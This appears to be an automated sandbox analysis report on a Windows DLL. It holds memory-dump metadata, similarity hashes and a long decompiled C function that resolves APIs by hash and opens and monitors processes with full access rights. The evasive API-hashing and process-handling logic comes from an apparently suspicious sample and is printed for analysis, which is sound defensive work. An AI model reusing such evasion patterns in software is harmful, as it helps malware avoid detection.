                                                                                                      0x6ec31bf9
                                                                                                      0x6ec31c04
                                                                                                      0x6ec31c05
                                                                                                      0x6ec31c06
                                                                                                      0x6ec31c07
                                                                                                      0x6ec31c08
                                                                                                      0x6ec31c0b
                                                                                                      0x6ec31c0f
                                                                                                      0x6ec31c13
                                                                                                      0x6ec31c1a
                                                                                                      0x6ec31c2c
                                                                                                      0x6ec31c42
                                                                                                      0x6ec31c4d
                                                                                                      0x6ec31c4e
                                                                                                      0x6ec31c4f
                                                                                                      0x6ec31c50
                                                                                                      0x6ec31c51
                                                                                                      0x6ec31c54
                                                                                                      0x6ec31c58
                                                                                                      0x6ec31c5c
                                                                                                      0x6ec31c63
                                                                                                      0x6ec31c75
                                                                                                      0x6ec31c8b
                                                                                                      0x6ec31c96
                                                                                                      0x6ec31c97
                                                                                                      0x6ec31c98
                                                                                                      0x6ec31c99
                                                                                                      0x6ec31c9a
                                                                                                      0x6ec31c9d
                                                                                                      0x6ec31ca0
                                                                                                      0x6ec31ca1
                                                                                                      0x6ec31ca2
                                                                                                      0x6ec31ca9
                                                                                                      0x6ec31cac
                                                                                                      0x6ec31cb7
                                                                                                      0x6ec31cbe
                                                                                                      0x6ec31cc7
                                                                                                      0x6ec31ccf
                                                                                                      0x6ec31cd6
                                                                                                      0x6ec31cdf
                                                                                                      0x6ec31ce7
                                                                                                      0x6ec31cee
                                                                                                      0x6ec31cf7
                                                                                                      0x6ec31cff
                                                                                                      0x6ec31d04
                                                                                                      0x6ec31d0d
                                                                                                      0x6ec31d15
                                                                                                      0x6ec31d2a

                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 8nsK
                                                                                                      • API String ID: 0-3012451157
                                                                                                      • Opcode ID: 60b1e94d03bf4eca53a3807416a63dd6bf793c8da0414a784cc05012ea9fc06e
                                                                                                      • Instruction ID: 763081873d39137a0fd98286d0a3ade7694e5ad5099db5be0afb571b82102d44
                                                                                                      • Opcode Fuzzy Hash: 60b1e94d03bf4eca53a3807416a63dd6bf793c8da0414a784cc05012ea9fc06e
                                                                                                      • Instruction Fuzzy Hash: 9F32A772404756AEC715DF60CC509EF77A4EFA1208F308F1DB9895A1A2FF71E98AC681
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 84%
                                                                                                      			E6EC3A4E8(signed int* __ecx, void* __eflags) {
                                                                                                      				void* __esi;
                                                                                                      				void* __ebp;
                                                                                                      				void* _t182;
                                                                                                      				signed int _t183;
                                                                                                      				signed int* _t188;
                                                                                                      				void* _t198;
                                                                                                      				void* _t199;
                                                                                                      				void* _t228;
                                                                                                      				void* _t229;
                                                                                                      				void* _t242;
                                                                                                      				void* _t243;
                                                                                                      				void* _t251;
                                                                                                      				signed int* _t271;
                                                                                                      				void* _t282;
                                                                                                      				void* _t284;
                                                                                                      				void* _t285;
                                                                                                      				void* _t296;
                                                                                                      				signed int* _t308;
                                                                                                      				void* _t324;
                                                                                                      				signed int _t398;
                                                                                                      				signed int _t402;
                                                                                                      				intOrPtr* _t403;
                                                                                                      				intOrPtr* _t404;
                                                                                                      				signed int _t406;
                                                                                                      				signed int _t407;
                                                                                                      				signed int _t409;
                                                                                                      				signed int _t411;
                                                                                                      				signed int _t412;
                                                                                                      				void* _t413;
                                                                                                      				signed int _t414;
                                                                                                      				signed int _t415;
                                                                                                      				signed int _t416;
                                                                                                      				signed int _t419;
                                                                                                      				void* _t420;
                                                                                                      				signed int _t421;
                                                                                                      				void* _t422;
                                                                                                      				signed int _t424;
                                                                                                      				signed int _t429;
                                                                                                      				signed int _t433;
                                                                                                      				signed int _t434;
                                                                                                      				signed int _t437;
                                                                                                      				intOrPtr* _t439;
                                                                                                      
                                                                                                      				_t308 = __ecx;
                                                                                                      				 *(_t439 + 0x78) = 0;
                                                                                                      				 *_t439 = __ecx + 8;
                                                                                                      				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
                                                                                                      				while(1) {
                                                                                                      					_t392 =  *_t308;
                                                                                                      					E6EC3B658(_t439 + 0x24, _t392, 0x7fffffff);
                                                                                                      					if(E6EC3F4D0(_t439 + 0x24) == 0) {
                                                                                                      						goto L3;
                                                                                                      					} else {
                                                                                                      						_t308[0xc] = 0;
                                                                                                      						E6EC3F654(_t439 + 0x24);
                                                                                                      					}
                                                                                                      					L63:
                                                                                                      					_t398 = 0xffffffffffffffff;
                                                                                                      					_t407 = 0xffffffffffffffff;
                                                                                                      					L65:
                                                                                                      					if((_t407 | _t398) != 0) {
                                                                                                      						L68:
                                                                                                      						return _t407;
                                                                                                      					}
                                                                                                      					if( *(_t439 + 0x78) != 0x20) {
                                                                                                      						E6EC42234(0x5dc, _t392, _t407);
                                                                                                      						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
                                                                                                      						continue;
                                                                                                      					}
                                                                                                      					_t398 = 0xffffffffffffffff;
                                                                                                      					_t407 = 0xffffffffffffffff;
                                                                                                      					goto L68;
                                                                                                      					L3:
                                                                                                      					__eflags = _t308[1];
                                                                                                      					if(_t308[1] <= 0) {
                                                                                                      						L21:
                                                                                                      						__eflags =  *(_t439 + 0x20);
                                                                                                      						if( *(_t439 + 0x20) <= 0) {
                                                                                                      							L33:
                                                                                                      							E6EC3F654(_t439 + 0x24);
                                                                                                      							__eflags = _t308[0xc];
                                                                                                      							if(_t308[0xc] == 0) {
                                                                                                      								L46:
                                                                                                      								 *((intOrPtr*)(_t439 + 8)) = 0;
                                                                                                      								 *((intOrPtr*)(_t439 + 0xc)) = 0;
                                                                                                      								E6EC3F584(_t439 + 0x14, 0);
                                                                                                      								 *((intOrPtr*)(_t439 + 0x38)) = 0;
                                                                                                      								 *(_t439 + 0x34) =  *_t308;
                                                                                                      								E6EC3F584(_t439 + 0x40, 0);
                                                                                                      								_t182 = 0x40;
                                                                                                      								__eflags = _t308[7] - 0x40;
                                                                                                      								_t183 =  <  ? _t308[7] : _t182;
                                                                                                      								 *(_t439 + 0x74) = _t183;
                                                                                                      								__eflags = _t183;
                                                                                                      								if(_t183 <= 0) {
                                                                                                      									L57:
                                                                                                      									asm("movq xmm0, [0x6ec4b808]");
                                                                                                      									asm("movq [esp+0x84], xmm0");
                                                                                                      									_t406 = E6EC43064(0x60a28c5c, 0x14e85b34);
                                                                                                      									__eflags = _t406;
                                                                                                      									if(_t406 == 0) {
                                                                                                      										_t424 = 0;
                                                                                                      										__eflags = 0;
                                                                                                      										L61:
                                                                                                      										__eflags = _t424 - 0x3f;
                                                                                                      										if(_t424 <= 0x3f) {
                                                                                                      											__eflags = _t424 << 2;
                                                                                                      											_t308[0xc] =  *(E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
                                                                                                      											_t188 = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
                                                                                                      											_t407 = _t308[0xc];
                                                                                                      											asm("cdq");
                                                                                                      											_t308[0xd] =  *_t188;
                                                                                                      											_t398 = _t392;
                                                                                                      											E6EC3B5C4(_t439 + 0x34);
                                                                                                      											E6EC3B5C4(_t439 + 8);
                                                                                                      											goto L65;
                                                                                                      										}
                                                                                                      										L62:
                                                                                                      										E6EC3B5C4(_t439 + 0x34);
                                                                                                      										E6EC3B5C4(_t439 + 8);
                                                                                                      										goto L63;
                                                                                                      									}
                                                                                                      									_t392 = E6EC3F4BC(_t439 + 0x14, 0);
                                                                                                      									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
                                                                                                      									_t133 = _t198 - 0x80; // -128
                                                                                                      									_t199 = _t133;
                                                                                                      									__eflags = _t199 - 0x3f;
                                                                                                      									_t424 =  <=  ? _t199 : _t198;
                                                                                                      									__eflags = _t424 - 0x102;
                                                                                                      									if(_t424 == 0x102) {
                                                                                                      										goto L62;
                                                                                                      									}
                                                                                                      									goto L61;
                                                                                                      								}
                                                                                                      								_t437 = 0;
                                                                                                      								__eflags = 0;
                                                                                                      								while(1) {
                                                                                                      									E6EC3CA8C(_t439 + 0x4c);
                                                                                                      									_t392 = 0;
                                                                                                      									_t324 = _t439 + 0x4c;
                                                                                                      									 *((char*)(_t324 + 4)) = 0;
                                                                                                      									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
                                                                                                      									__eflags = E6EC3C280(_t324);
                                                                                                      									if(__eflags != 0) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									E6EC3F828(_t439 + 0x14, E6EC3F4CC(_t439 + 0x10) + 4);
                                                                                                      									 *((intOrPtr*)(E6EC3F4BC(_t439 + 0x14, E6EC3F4CC(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
                                                                                                      									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
                                                                                                      									_t409 = E6EC43064(0x60a28c5c, 0x3659ae1e);
                                                                                                      									__eflags = _t409;
                                                                                                      									if(_t409 == 0) {
                                                                                                      										L51:
                                                                                                      										_t392 =  *(_t439 + 0x68);
                                                                                                      										__eflags = _t392;
                                                                                                      										if(__eflags == 0) {
                                                                                                      											break;
                                                                                                      										}
                                                                                                      										__eflags = _t392 - 0xffffffff;
                                                                                                      										if(__eflags != 0) {
                                                                                                      											E6EC3F828(_t439 + 0x40, E6EC3F4CC(_t439 + 0x3c) + 4);
                                                                                                      											 *(E6EC3F4BC(_t439 + 0x40, E6EC3F4CC(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
                                                                                                      											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
                                                                                                      											E6EC3CD24(_t439 + 0x4c, __eflags);
                                                                                                      											_t437 = _t437 + 1;
                                                                                                      											__eflags = _t437 -  *(_t439 + 0x74);
                                                                                                      											if(_t437 <  *(_t439 + 0x74)) {
                                                                                                      												continue;
                                                                                                      											}
                                                                                                      											_t411 = 0;
                                                                                                      											__eflags = 0;
                                                                                                      											do {
                                                                                                      												E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
                                                                                                      												E6EC3F4BC(_t439 + 0x40, _t411 * 4);
                                                                                                      												_t439 = _t439 + 0xffffffd8;
                                                                                                      												asm("cdq");
                                                                                                      												asm("pxor xmm5, xmm5");
                                                                                                      												asm("movd xmm1, dword [ebp]");
                                                                                                      												asm("movd xmm4, dword [edi]");
                                                                                                      												asm("movd xmm0, edx");
                                                                                                      												asm("cdq");
                                                                                                      												asm("punpckldq xmm1, xmm0");
                                                                                                      												asm("movq xmm2, [ebx+0x38]");
                                                                                                      												asm("movq [esp], xmm1");
                                                                                                      												asm("movd xmm3, edx");
                                                                                                      												asm("punpckldq xmm4, xmm3");
                                                                                                      												asm("movq [esp+0x8], xmm2");
                                                                                                      												asm("movq [esp+0x10], xmm4");
                                                                                                      												asm("movq [esp+0x18], xmm5");
                                                                                                      												asm("movq [esp+0x20], xmm5");
                                                                                                      												E6EC3AC48(__eflags);
                                                                                                      												_t411 = _t411 + 1;
                                                                                                      												__eflags = _t411 -  *(_t439 + 0x74);
                                                                                                      											} while (_t411 <  *(_t439 + 0x74));
                                                                                                      											goto L57;
                                                                                                      										}
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									_t392 = _t439 + 0x68;
                                                                                                      									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
                                                                                                      									__eflags = 0;
                                                                                                      									if(0 != 0) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									goto L51;
                                                                                                      								}
                                                                                                      								E6EC3CD24(_t439 + 0x4c, __eflags);
                                                                                                      								goto L62;
                                                                                                      							}
                                                                                                      							_t402 = _t308[1];
                                                                                                      							__eflags = _t402;
                                                                                                      							if(_t402 <= 0) {
                                                                                                      								goto L46;
                                                                                                      							}
                                                                                                      							_t412 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							while(1) {
                                                                                                      								_t429 = _t412 * 4;
                                                                                                      								_t392 =  *(E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t429));
                                                                                                      								__eflags = _t392 - _t308[0xd];
                                                                                                      								if(_t392 == _t308[0xd]) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t412 = _t412 + 1;
                                                                                                      								__eflags = _t412 - _t402;
                                                                                                      								if(_t412 < _t402) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L46;
                                                                                                      							}
                                                                                                      							__eflags = _t412 - 0xffffffff;
                                                                                                      							if(_t412 != 0xffffffff) {
                                                                                                      								_t228 = E6EC3F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                      								__eflags = _t228 - _t429;
                                                                                                      								if(_t228 > _t429) {
                                                                                                      									_t392 = 4 + _t412 * 4;
                                                                                                      									 *(_t439 + 0x6c) = _t392;
                                                                                                      									_t251 = E6EC3F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                      									__eflags = _t251 -  *(_t439 + 0x6c);
                                                                                                      									if(_t251 >  *(_t439 + 0x6c)) {
                                                                                                      										 *((intOrPtr*)(_t439 + 0x90)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), _t429);
                                                                                                      										 *((intOrPtr*)(_t439 + 0x8c)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
                                                                                                      										E6EC438F0( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
                                                                                                      										_t439 = _t439 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
                                                                                                      									_t74 =  &(_t308[7]);
                                                                                                      									 *_t74 = _t308[7] - 1;
                                                                                                      									__eflags =  *_t74;
                                                                                                      								}
                                                                                                      								_t229 = E6EC3F4CC( *_t439);
                                                                                                      								__eflags = _t229 - _t429;
                                                                                                      								if(_t229 > _t429) {
                                                                                                      									_t413 = 4 + _t412 * 4;
                                                                                                      									_t242 = E6EC3F4CC( *_t439);
                                                                                                      									__eflags = _t242 - _t413;
                                                                                                      									if(_t242 > _t413) {
                                                                                                      										_t243 = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t429);
                                                                                                      										 *((intOrPtr*)(_t439 + 0x94)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t413);
                                                                                                      										E6EC438F0(_t243,  *((intOrPtr*)(_t439 + 0x98)), E6EC3F4CC( *_t439) - _t413);
                                                                                                      										_t439 = _t439 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 0xfffffffc);
                                                                                                      									_t79 =  &(_t308[1]);
                                                                                                      									 *_t79 = _t308[1] - 1;
                                                                                                      									__eflags =  *_t79;
                                                                                                      								}
                                                                                                      								E6EC3F828( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 4);
                                                                                                      								 *(E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
                                                                                                      								_t308[7] = _t308[7] + 1;
                                                                                                      								E6EC3F828( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 4);
                                                                                                      								 *(E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 0xfffffffc)) = _t308[0xd];
                                                                                                      								_t308[1] = _t308[1] + 1;
                                                                                                      							}
                                                                                                      							goto L46;
                                                                                                      						}
                                                                                                      						_t433 = 0;
                                                                                                      						__eflags = 0;
                                                                                                      						do {
                                                                                                      							 *(_t439 + 0x70) = _t433 * 4;
                                                                                                      							_t403 = E6EC3F4BC(_t439 + 0x28, _t433 * 4);
                                                                                                      							_t392 = _t308[1];
                                                                                                      							 *(_t439 + 0x80) = _t392;
                                                                                                      							__eflags = _t392;
                                                                                                      							if(_t392 <= 0) {
                                                                                                      								L29:
                                                                                                      								_t414 = E6EC43064(0x8e844d1e, 0x5c3654e3);
                                                                                                      								__eflags = _t414;
                                                                                                      								if(_t414 != 0) {
                                                                                                      									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E6EC3F4BC(_t439 + 0x28,  *(_t439 + 0x70)))));
                                                                                                      									__eflags = _t416;
                                                                                                      									if(_t416 != 0) {
                                                                                                      										E6EC3F828( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 4);
                                                                                                      										 *(E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
                                                                                                      										_t308[7] = _t308[7] + 1;
                                                                                                      										_t271 = E6EC3F4BC(_t439 + 0x28,  *(_t439 + 0x70));
                                                                                                      										E6EC3F828( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 4);
                                                                                                      										 *(E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 0xfffffffc)) =  *_t271;
                                                                                                      										_t57 =  &(_t308[1]);
                                                                                                      										 *_t57 = _t308[1] + 1;
                                                                                                      										__eflags =  *_t57;
                                                                                                      									}
                                                                                                      								}
                                                                                                      								goto L32;
                                                                                                      							}
                                                                                                      							_t415 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							while(1) {
                                                                                                      								_t392 =  *(E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
                                                                                                      								__eflags = _t392 -  *_t403;
                                                                                                      								if(_t392 ==  *_t403) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t415 = _t415 + 1;
                                                                                                      								__eflags = _t415 -  *(_t439 + 0x80);
                                                                                                      								if(_t415 <  *(_t439 + 0x80)) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L29;
                                                                                                      							}
                                                                                                      							__eflags = _t415 - 0xffffffff;
                                                                                                      							if(_t415 == 0xffffffff) {
                                                                                                      								goto L29;
                                                                                                      							}
                                                                                                      							L32:
                                                                                                      							_t433 = _t433 + 1;
                                                                                                      							__eflags = _t433 -  *(_t439 + 0x20);
                                                                                                      						} while (_t433 <  *(_t439 + 0x20));
                                                                                                      						goto L33;
                                                                                                      					} else {
                                                                                                      						_t434 = 0;
                                                                                                      						__eflags = 0;
                                                                                                      						do {
                                                                                                      							 *(_t439 + 0x64) = _t434 * 4;
                                                                                                      							_t404 = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
                                                                                                      							_t392 =  *(_t439 + 0x20);
                                                                                                      							 *(_t439 + 0x7c) = _t392;
                                                                                                      							__eflags = _t392;
                                                                                                      							if(_t392 <= 0) {
                                                                                                      								L11:
                                                                                                      								_t282 = E6EC3F4CC( *_t439);
                                                                                                      								__eflags = _t282 -  *(_t439 + 0x64);
                                                                                                      								if(_t282 >  *(_t439 + 0x64)) {
                                                                                                      									_t420 = 4 + _t434 * 4;
                                                                                                      									_t296 = E6EC3F4CC( *_t439);
                                                                                                      									__eflags = _t296 - _t420;
                                                                                                      									if(_t296 > _t420) {
                                                                                                      										 *((intOrPtr*)(_t439 + 0x9c)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
                                                                                                      										 *((intOrPtr*)(_t439 + 0x98)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 4)), _t420);
                                                                                                      										E6EC438F0( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E6EC3F4CC( *_t439) - _t420);
                                                                                                      										_t439 = _t439 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *((intOrPtr*)(_t439 + 4)), E6EC3F4CC( *_t439) + 0xfffffffc);
                                                                                                      									_t22 =  &(_t308[1]);
                                                                                                      									 *_t22 = _t308[1] - 1;
                                                                                                      									__eflags =  *_t22;
                                                                                                      								}
                                                                                                      								_t419 = E6EC43064(0x60a28c5c, 0xe96b154c);
                                                                                                      								__eflags = _t419;
                                                                                                      								if(_t419 != 0) {
                                                                                                      									 *_t419( *((intOrPtr*)(E6EC3F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
                                                                                                      								}
                                                                                                      								_t284 = E6EC3F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                      								__eflags = _t284 -  *(_t439 + 0x64);
                                                                                                      								if(_t284 >  *(_t439 + 0x64)) {
                                                                                                      									_t422 = 4 + _t434 * 4;
                                                                                                      									_t285 = E6EC3F4CC( *((intOrPtr*)(_t439 + 4)));
                                                                                                      									__eflags = _t285 - _t422;
                                                                                                      									if(_t285 > _t422) {
                                                                                                      										 *((intOrPtr*)(_t439 + 0xa4)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
                                                                                                      										 *((intOrPtr*)(_t439 + 0xa0)) = E6EC3F4BC( *((intOrPtr*)(_t439 + 8)), _t422);
                                                                                                      										E6EC438F0( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) - _t422);
                                                                                                      										_t439 = _t439 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *((intOrPtr*)(_t439 + 8)), E6EC3F4CC( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
                                                                                                      									_t33 =  &(_t308[7]);
                                                                                                      									 *_t33 = _t308[7] - 1;
                                                                                                      									__eflags =  *_t33;
                                                                                                      								}
                                                                                                      								_t434 = _t434 - 1;
                                                                                                      								__eflags = _t434;
                                                                                                      								goto L20;
                                                                                                      							}
                                                                                                      							_t421 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							while(1) {
                                                                                                      								_t392 =  *(E6EC3F4BC(_t439 + 0x28, _t421 * 4));
                                                                                                      								__eflags = _t392 -  *_t404;
                                                                                                      								if(_t392 ==  *_t404) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t421 = _t421 + 1;
                                                                                                      								__eflags = _t421 -  *(_t439 + 0x7c);
                                                                                                      								if(_t421 <  *(_t439 + 0x7c)) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L11;
                                                                                                      							}
                                                                                                      							__eflags = _t421 - 0xffffffff;
                                                                                                      							if(_t421 == 0xffffffff) {
                                                                                                      								goto L11;
                                                                                                      							}
                                                                                                      							L20:
                                                                                                      							_t434 = _t434 + 1;
                                                                                                      							__eflags = _t434 - _t308[1];
                                                                                                      						} while (_t434 < _t308[1]);
                                                                                                      						goto L21;
                                                                                                      					}
                                                                                                      				}
                                                                                                      			}













































                                                                                                      0x6ec3a4f2
                                                                                                      0x6ec3a4f4
                                                                                                      0x6ec3a4ff
                                                                                                      0x6ec3a505
                                                                                                      0x6ec3a509
                                                                                                      0x6ec3a50e
                                                                                                      0x6ec3a514
                                                                                                      0x6ec3a524
                                                                                                      0x00000000
                                                                                                      0x6ec3a526
                                                                                                      0x6ec3a526
                                                                                                      0x6ec3a531
                                                                                                      0x6ec3a531
                                                                                                      0x6ec3aaaf
                                                                                                      0x6ec3aab1
                                                                                                      0x6ec3aab2
                                                                                                      0x6ec3aaf1
                                                                                                      0x6ec3aaf5
                                                                                                      0x6ec3ab03
                                                                                                      0x6ec3ab11
                                                                                                      0x6ec3ab11
                                                                                                      0x6ec3aafc
                                                                                                      0x6ec3ab17
                                                                                                      0x6ec3ab1c
                                                                                                      0x00000000
                                                                                                      0x6ec3ab1c
                                                                                                      0x6ec3ab00
                                                                                                      0x6ec3ab01
                                                                                                      0x00000000
                                                                                                      0x6ec3a53b
                                                                                                      0x6ec3a53b
                                                                                                      0x6ec3a53f
                                                                                                      0x6ec3a646
                                                                                                      0x6ec3a646
                                                                                                      0x6ec3a64b
                                                                                                      0x6ec3a75c
                                                                                                      0x6ec3a760
                                                                                                      0x6ec3a765
                                                                                                      0x6ec3a769
                                                                                                      0x6ec3a893
                                                                                                      0x6ec3a895
                                                                                                      0x6ec3a899
                                                                                                      0x6ec3a8a2
                                                                                                      0x6ec3a8ab
                                                                                                      0x6ec3a8af
                                                                                                      0x6ec3a8b8
                                                                                                      0x6ec3a8bf
                                                                                                      0x6ec3a8c0
                                                                                                      0x6ec3a8c4
                                                                                                      0x6ec3a8c8
                                                                                                      0x6ec3a8cc
                                                                                                      0x6ec3a8ce
                                                                                                      0x6ec3aa38
                                                                                                      0x6ec3aa38
                                                                                                      0x6ec3aa40
                                                                                                      0x6ec3aa58
                                                                                                      0x6ec3aa5a
                                                                                                      0x6ec3aa5c
                                                                                                      0x6ec3aa96
                                                                                                      0x6ec3aa96
                                                                                                      0x6ec3aa98
                                                                                                      0x6ec3aa98
                                                                                                      0x6ec3aa9b
                                                                                                      0x6ec3aab6
                                                                                                      0x6ec3aaca
                                                                                                      0x6ec3aacd
                                                                                                      0x6ec3aad2
                                                                                                      0x6ec3aadd
                                                                                                      0x6ec3aade
                                                                                                      0x6ec3aae1
                                                                                                      0x6ec3aae3
                                                                                                      0x6ec3aaec
                                                                                                      0x00000000
                                                                                                      0x6ec3aaec
                                                                                                      0x6ec3aa9d
                                                                                                      0x6ec3aaa1
                                                                                                      0x6ec3aaaa
                                                                                                      0x00000000
                                                                                                      0x6ec3aaaa
                                                                                                      0x6ec3aa6d
                                                                                                      0x6ec3aa7d
                                                                                                      0x6ec3aa81
                                                                                                      0x6ec3aa81
                                                                                                      0x6ec3aa84
                                                                                                      0x6ec3aa87
                                                                                                      0x6ec3aa8a
                                                                                                      0x6ec3aa90
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3aa92
                                                                                                      0x6ec3a8d6
                                                                                                      0x6ec3a8d6
                                                                                                      0x6ec3a8d8
                                                                                                      0x6ec3a8dc
                                                                                                      0x6ec3a8e1
                                                                                                      0x6ec3a8e3
                                                                                                      0x6ec3a8e7
                                                                                                      0x6ec3a8ea
                                                                                                      0x6ec3a8f2
                                                                                                      0x6ec3a8f4
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a90b
                                                                                                      0x6ec3a926
                                                                                                      0x6ec3a928
                                                                                                      0x6ec3a93b
                                                                                                      0x6ec3a93d
                                                                                                      0x6ec3a93f
                                                                                                      0x6ec3a95a
                                                                                                      0x6ec3a95a
                                                                                                      0x6ec3a95e
                                                                                                      0x6ec3a960
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a962
                                                                                                      0x6ec3a965
                                                                                                      0x6ec3a986
                                                                                                      0x6ec3a9a5
                                                                                                      0x6ec3a9ab
                                                                                                      0x6ec3a9ae
                                                                                                      0x6ec3a9b3
                                                                                                      0x6ec3a9b4
                                                                                                      0x6ec3a9b8
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a9c0
                                                                                                      0x6ec3a9c0
                                                                                                      0x6ec3a9c2
                                                                                                      0x6ec3a9ce
                                                                                                      0x6ec3a9da
                                                                                                      0x6ec3a9e4
                                                                                                      0x6ec3a9e7
                                                                                                      0x6ec3a9ea
                                                                                                      0x6ec3a9ee
                                                                                                      0x6ec3a9f5
                                                                                                      0x6ec3a9f9
                                                                                                      0x6ec3a9fd
                                                                                                      0x6ec3a9fe
                                                                                                      0x6ec3aa02
                                                                                                      0x6ec3aa07
                                                                                                      0x6ec3aa0c
                                                                                                      0x6ec3aa10
                                                                                                      0x6ec3aa14
                                                                                                      0x6ec3aa1a
                                                                                                      0x6ec3aa20
                                                                                                      0x6ec3aa26
                                                                                                      0x6ec3aa2c
                                                                                                      0x6ec3aa31
                                                                                                      0x6ec3aa32
                                                                                                      0x6ec3aa32
                                                                                                      0x00000000
                                                                                                      0x6ec3a9c2
                                                                                                      0x00000000
                                                                                                      0x6ec3a965
                                                                                                      0x6ec3a943
                                                                                                      0x6ec3a954
                                                                                                      0x6ec3a956
                                                                                                      0x6ec3a958
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a958
                                                                                                      0x6ec3a96b
                                                                                                      0x00000000
                                                                                                      0x6ec3a96b
                                                                                                      0x6ec3a76f
                                                                                                      0x6ec3a772
                                                                                                      0x6ec3a774
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a77c
                                                                                                      0x6ec3a77c
                                                                                                      0x6ec3a77e
                                                                                                      0x6ec3a77e
                                                                                                      0x6ec3a78f
                                                                                                      0x6ec3a791
                                                                                                      0x6ec3a794
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a88a
                                                                                                      0x6ec3a88b
                                                                                                      0x6ec3a88d
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a88d
                                                                                                      0x6ec3a79a
                                                                                                      0x6ec3a79d
